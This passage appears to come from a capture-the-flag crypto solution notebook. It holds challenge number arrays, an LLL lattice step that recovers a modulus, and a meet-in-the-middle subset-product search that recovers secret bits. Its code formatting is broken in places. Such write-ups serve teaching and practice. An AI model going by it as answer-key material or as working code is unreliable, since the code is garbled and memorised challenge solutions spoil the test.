90637950209572996031905,
2574842198792524968283474015230573743377044816253363143089
3313908982065779584876498850617930732986722029754462398664
6384964736992977710917153060949210022353204259460241216220
5386214860976854426583283876627181120516870304121960016483
9776783412136434679634972033233342614995492694021161516277
39251811607519577138757]

a = [810922431519561, 446272766988725, 167807402211751,
137130339017755, 214986582563833, 141074297736993,
1116944910925939, 827779449967114, 887541522977945,
698795918391810, 180874459256817, 42309568567278,
148563974468327, 43541894027392, 369461465628947,
226728238060977, 902554563386031, 369980733296039,
495826170604031, 202556971656774, 1124261777691439,
533425503636189, 393536945515725, 242107802161603,
506637008093239, 846292038115984, 686372167052341,
923093823276073, 557898577262848, 719859369760663,
51513645433906, 946714837276014, 24336055796632,
302053499607130, 970564601798660, 1082742759743394,
499339281736843, 13407991387893, 667336471542364,
38809146657917, 29069472887681, 420834834946561,
1044601747029985, 854268790341671, 918316968972873,
737863884666895, 1036231016223653, 792781009835942,
142149344663288, 828341073371968, 186470549619656,
279923049419811, 487848895651491, 737257307326881,
1065005635075133, 628186519179693, 554767859759026,
606623194910240, 497855707815081, 88176594691403,
278020899501967, 440746393631841, 921270589876795,
800698974218498, 437669423813782, 717945417305277,
191204872168085, 791101652791845, 772875127585562,
174750251898037]

b = [919042075929804, 731196114348957, 780418394368709,
3413259132589, 766847233992470, 297211103941610,
500281126810865, 849501916345269, 117720599611510,
551153334471840, 1072866601658568, 829727438821072,
179087882377496, 934984220634910, 670865352770561,
153859069714096, 600663927005680, 540242857915696,
553340712407662, 1113968197194611, 272342861356660,
1117828067970844, 796048575670909, 454054034318932,
654225458148223, 183717820875099, 1064983259059879,
737236143792316, 565414872646761, 550812923748544,
467970413493147, 764197477914194, 572611266860917,
74578187275404, 462057895458922, 594841925406302,
178813973628003, 607180532395162, 455598995678785,
227757559710253, 178207804255926, 982118016357442,
286821935441865, 947088152152874, 592190023483880,
686189038585889, 701809424042029, 610206451919836,
189925081438758, 108664403267133]

```

ra =
2158431829333189754965324560299394847298062943368454068824
9093645807921056904612052832712199474442472789455432834422
9010979127024288283698486557728305231262446
rb =
3498090364718786308911989083689617571932166777012900779070
6295237276559345823515999249633839022922117548768358013994
01170701861988033911802302715724060488
L = matrix(m).T.augment(matrix.identity(len(m)))
L[:, 0] *= 2 ^ 2048
L = L.LLL()
print(L[0][1:])
print(L[1][1:])
xx = product([ZZ(y) ^ x for x, y in zip(L[0][1:], enc)])
yy = product([ZZ(y) ^ x for x, y in zip(L[1][1:], enc)])
n = gcd(xx.numer() - xx.denom(), yy.numer() - yy.denom())
print(n)

# %%
from Crypto.Util.number import *
from gmpy2 import *
a1=[1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0,
1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1,
0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1]
assert len(a1)==len(a)==70

# %%
q=12642545864299817932696528548195775137854645688987690739
3173932125957316280164204499743586724525045991523864643495
00792607469701592216257829464295238775711
q

# %%
from functools import reduce
import itertools
binary_product = itertools.product([0, 1],
repeat=len(b)//2)
def calculate_product(combo):
    '''

```

```

        :param combo:
        :return:
        '''

    multi=1
    for index, val in enumerate(combo):
        if val==0:
            continue
        multi*=b[index]
    return multi%q
    # subset = [b[i] for i in range(len(combo)) if
    combo[i] == 1]
    # return reduce(lambda x, y: x * y, subset, 1)
    # products = list(map(calculate_product, binary_product))
    # len(products)
    products_with_combos = {calculate_product(combo):combo for
    combo in binary_product}
    len(products_with_combos)

# %%
from gmpy2 import *
binary_product1 = itertools.product([0, 1],
    repeat=len(b)//2)
def calculate_product1(combo):
    '''

    :param combo:
    :return:
    '''

    multi=1
    for index, val in enumerate(combo):
        if val==0:
            continue
        multi*=b[index+25]
    return invert(multi,q)*rb%q
    products_with_combos1 = {calculate_product(combo):combo
    for combo in binary_product1}
    len(products_with_combos1)

# %%

```

```
# %%
key_list=[]
from tqdm import tqdm
for key in tqdm(products_with_combos):
    if key in products_with_combos1:
        key_list.append(key)
        # value=products_with_combos[key]
        # value1=products_with_combos1[key]
        # print(value,value1)

# %%
# products_with_combos.keys()

# %%
key_list=[]
for key in products_with_combos:
    if key in products_with_combos1:
        print(key)

# %%
len(key_list)

# %%
key_list[0]
```